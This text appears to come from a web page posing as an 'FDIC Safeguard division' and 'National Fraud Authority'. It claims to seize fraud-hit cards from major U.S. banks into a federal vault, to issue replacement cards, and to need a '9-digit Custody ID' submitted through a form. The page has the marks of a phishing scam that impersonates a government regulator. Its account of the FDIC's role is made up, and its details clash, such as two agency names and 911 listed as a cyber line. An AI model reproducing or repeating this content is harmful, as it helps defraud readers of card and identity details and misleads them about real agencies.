National Fraud Authority

America's Central Card Safeguard

The FDIC Safeguard division is the federal body that assists all U.S. banks with fraud detection and card re-issuance. We hold your digital assets in a secure vault until we verify your identity.

Report a Card

ACTIVE ALERT

Ransomware on the rise: 40% increase in phishing attempts targeting Safeguard accounts this week.

DIGITAL WALLET

Ensure your device is running the latest OS to support our new secure chip re-issuance protocol.

VERIFICATION

FDIC Safeguard will never ask for your full PIN over the phone. We only need your 9-digit Custody ID.

How Safeguard Works

We assist banks across the United States to ensure your card is re-issued safely.

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National Fraud Shield

When fraud is detected on your Chase, Bank of America, Wells Fargo, or Citibank card, we automatically deposit it into the FDIC Safeguard vault.

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Re-Issuance Authority

We issue your new physical and virtual cards. Your old card remains active but restricted until Cyber Command clears you.

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Digital Evidence

Every transaction while your card is in Safeguard is logged and encrypted, providing a chain of custody for investigations.

Contact Cyber Command

Reach the Safeguard division directly. Use the form below to report a lost card or request a re-issue.

ACTIVE ALERT: CYBER CRIME CENTER

Ransomware on the rise: We've detected a 40% increase in phishing attempts targeting Safeguard accounts this week.
Digital Wallet Update: Ensure your device is running the latest OS to support our new secure chip re-issuance protocol.
Verification: FDIC Safeguard will never ask for your full PIN over the phone. We only need your 9-digit Custody ID.

National Authority

The FDIC Safeguard works with all major banks across the United States to secure your identity. We hold your assets in a secure federal environment while we monitor for unauthorized use.

Central Headquarters: 550 17th Street NW, Washington, DC 20429
General Inquiries: 1-877-275-3342
Email: safeguard@fdic.gov
Emergency Cyber: 911